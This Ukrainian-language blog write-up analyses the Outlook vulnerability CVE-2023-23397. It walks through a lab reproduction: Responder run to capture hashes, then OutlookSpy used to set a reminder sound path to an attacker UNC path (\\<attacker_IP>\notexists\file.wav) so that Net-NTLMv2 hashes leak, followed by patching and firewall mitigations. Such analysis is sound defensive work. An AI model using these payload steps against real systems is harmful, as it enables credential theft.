Глибокий аналіз вразливості CVE-2023-23397: оцінка та пошук рішень

4 грудня 2023 року стало відомо, що російська хак-група APT28 активно експлоатує вразливість CVE-2023-23397, виявлену та пропатчену в Outlook в цьому році, для взлому облікових записів Microsoft Exchange та викрадення конфіденційної інформації. За даними дослідників, за допомогою цього бага хакери атакують урядові організації, а також компанії енергетичного, транспортного та інших ключових секторів у США та Європі.

Оцінка вразливості за CVSS:3.1 9.8 / 9.1

PoC – https://github.com/api0cradle/CVE-2023-23397-POC-Powershell/tree/main Вплив цієї вразливості полягає в підвищенні привілеїв користувача.

Ми вирішили розібратись як це працює.

Щоб проексплуатувати цю вразливість, зловмисник повинен створити спеціально сформоване календарне запрошення. В цьому запрошенні, замість шляху до звукового файлу, який відтворюється під час нагадування в Outlook, зловмисник вказує інший файл, що знаходиться в мережевій SMB шарі на контрольованій атакуючому машині. *SMB (Server Message Block) – це протокол мережевого рівня, який використовується для обміну файлами, принтерами та іншими ресурсами між комп’ютерами у мережі. Відповідно, SMB share (шара) – це мережевий ресурс, який надається для спільного використання через протокол SMB в мережі. Шара може бути папкою, файлом або ж принтером.

Для ітерації та отримання доступу до мережевих ресурсів в операційних системах використовується Universal Naming Convention (UNC) шлях. Він включає в себе IP адресу машини та безпосередньо ресурс, що запитується. Тому, замість локального файлу, зловмисник прописує UNC шлях у наступному вигляді:

\\<ATTACKER_IP>\dir\file.wav

  • \\<ATTACKER_ip>– IP адреса або hostname комп’ютера, який потрібно знайти
  • \dir\file.wav – ресурс, який потрібно відкрити

Коли жертва отримує зловмисне сповіщення із посиланням на мережевий ресурс атакуючого, UNC шлях перенаправляє її на цей ресурс. Це спричиняє відправлення NTLM-запиту зі спробою автентифікації. Тут і відбувається ексфільтрація Net-NTLMv2 хеша користувача, який отримав запрошення. Маючи хеш, атакуючий може пройти аутентифікацію від імені жертви. Також зловмисник може зберегти хеш для використання під час інших атак (lateral movement, brute force attack). 

Варто відмітити, що SMB протокол може логуватись та моніторитись  мережевими засобами захисту, або ж взагалі, не бути доступним в мережі жертви. Щоб обійти цю поведінку, атакуючий може використати інший стандартний порт (наприклад 53, 80, 443) вказавши його в UNC шляху:

\\<ATTACKER_IP>\dir\file.wav

Такий метод працює лише на десктопних робочих станціях.

Для демонстрації вразливості, було використано наступний тестовий сетап:

  • Машина Kali linux в якості атакуючого.
  • Машина Windows 10 в якості жертви (зі встановленою вразливою версією Outlook).

Оскільки нам потрібно отримати запит автентифікації від жертви на SMB сервер, ми запустили утиліту Responder для обробки цього процесу та перехоплення NetNTLM хеша. Responder – це утиліта, яка використовується для проведення мережевих атак на протоколи автентифікації Windows. З її допомогою можна перехопити облікові дані, що надсилаються в запиті до сервера та використати їх для проведення MiTM атаки.

Щоб запустити Responder для прослуховування на конкретному інтерфейсі була використана наступна команда:

  • sudo responder -I eth0 -v
RNB Запис
Figure 1 – Запуск Responder

Після цього наш сервер готовий отримати з’єднання і ми можемо приступи до експлуатації жертви.

На машині зловмисника нам потрібно створити спеціальне запрошення. Для цього на головному меню потрібно натиснути кнопку “Створити зустріч”:

Для того щоб сповіщення прийшло одразу, і нам не довелось чекати, можна відмітити check-box для часу сповіщення як Цілий день і встановити Час нагадування 0 хвилин з випадаючого меню. В іншому разі, можна встановити зручний для себе час.

Тепер нам потрібно встановити наше корисне навантаження, проте, по замовчуванню Outlook не дозволяє нам встановлювати UNC в шлях файлу для сповіщення. Тому, якщо ми спробуємо його встановити та відкриємо налаштування звуків сповіщення знову, то побачимо що Outlook не прийняв наші зміни:

RNB Запис
Figure 3 – Налаштування звуку сповіщення

Щоб вирішити цю проблему, можна встановити додатковий плагін, який називається OutlookSpy. Це спеціальний інтегрований інструмент, який надає зручний та швидкий доступ до всіх об’єктів класу Outlook Object Model, що дозволяє відслідковувати виклики функцій або перевіряти значення налаштування на програмному рівні в Outlook.

Для встановлення потрібно перейти на офіційний сайт цієї утиліти – https://www.dimastr.com/outspy/home.htm, встановити та запустити інсталер й слідувати інструкціям. Після цього, на головній панелі Outlook з’явиться додаткова кнопка OutlookSpy, після натиснення на яку, ми отримуємо додаткові налаштування нашого клієнта:

RNB Запис
Figure 4 – OutlookSpy на панелі управління

Тепер для більш гнучкого налаштування сповіщення ми можемо вибрати опцію CurrentItem з меню OutlookSpy:

Отримуємо нове вікно з повними програмними характеристиками нашого сповіщення:

RNB Запис
Figure 6 – Панель налаштування OutlookSpy

В даному випадку нас цікавить три наступних поля:

  • ReminderPlaySound – булева змінна, що визначає чи буде програватись звук під час нагадування.
  • ReminderOverrideDefault – булева змінна, що перевизначає поведінку для сповіщення за замовчуванням.
  • ReminderSoundFile – строка, яка містить шлях до звукового файлу, що повинен програватись.

Перші дві змінні містять значення false, а третя містить шлях до стандартного звуку сповіщень Windows. Для успішної експлуатації нам потрібно змінити значення цих полів на true та UNC шлях відповідно. Для цього можна скористатись вкладкою Script та вставити наступні інструкції в текстове поле:

AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = \\<attacker_IP>\notexists\file.wav

Ці команди змінюють значення наших параметрів на потрібні нам. На місці attacker_IP потрібно вставити адресу машини атакуючого, на якій був запущений Responder раніше. Для виконання команд потрібно натиснути кнопку Run:

Після цього, якщо ми знову перевіримо параметри, помітимо, що вони змінили свої значення:

RNB Запис
Figure 9 – Змінене значення параметру ReminderOverrideDefault

Також, можемо перевірити панель налаштування звукового сповіщення:

RNB Запис
Figure 10 – Пейлоад

Як бачимо, шлях до файлу звукового сповіщення містить UNC шлях на SMB шару атакуючої машини. Все що нам потрібно, це тепер вийти з панелі налаштування та дочекатись отримання сповіщення, яке повинне прийти без затримки:

RNB Запис
Figure 11 – Сповіщення

При отриманні сповіщення, звук не програється, оскільки програма робить запит по вказаному UNC шляху замість локального звукового файлу.

Повернувшись на машину атакуючого помічаємо, що Responder отримав декілька NTLM запитів від нашої цільової машини. Запити містять IP адресу, username, та NetNTLMv2 хеш як продемонстровано на рисунку

Атака проходить непомітно для жертви, та має Zero-click реалізацію у вигляді надсилання листа для жертви.

Для усунення вразливості, потрібно оновитись до вже наявного патчу безпеки Outlook від Microsoft. З метою блокування загрози, також можна заблокувати на firewall вихідний SMB трафік і всі з’єднання в зовнішній світ на порти 445, 137-139 із внутрішньої мережі. Якщо ж користувач все-таки став жертвою цієї атаки потрібно негайно змінити пароль і відстежити спроби автентифікації цього користувача у мережевих системах.

Додаткові посилання:

Read Next

Mozilla Firefox: огляд та експлуатація вразливостей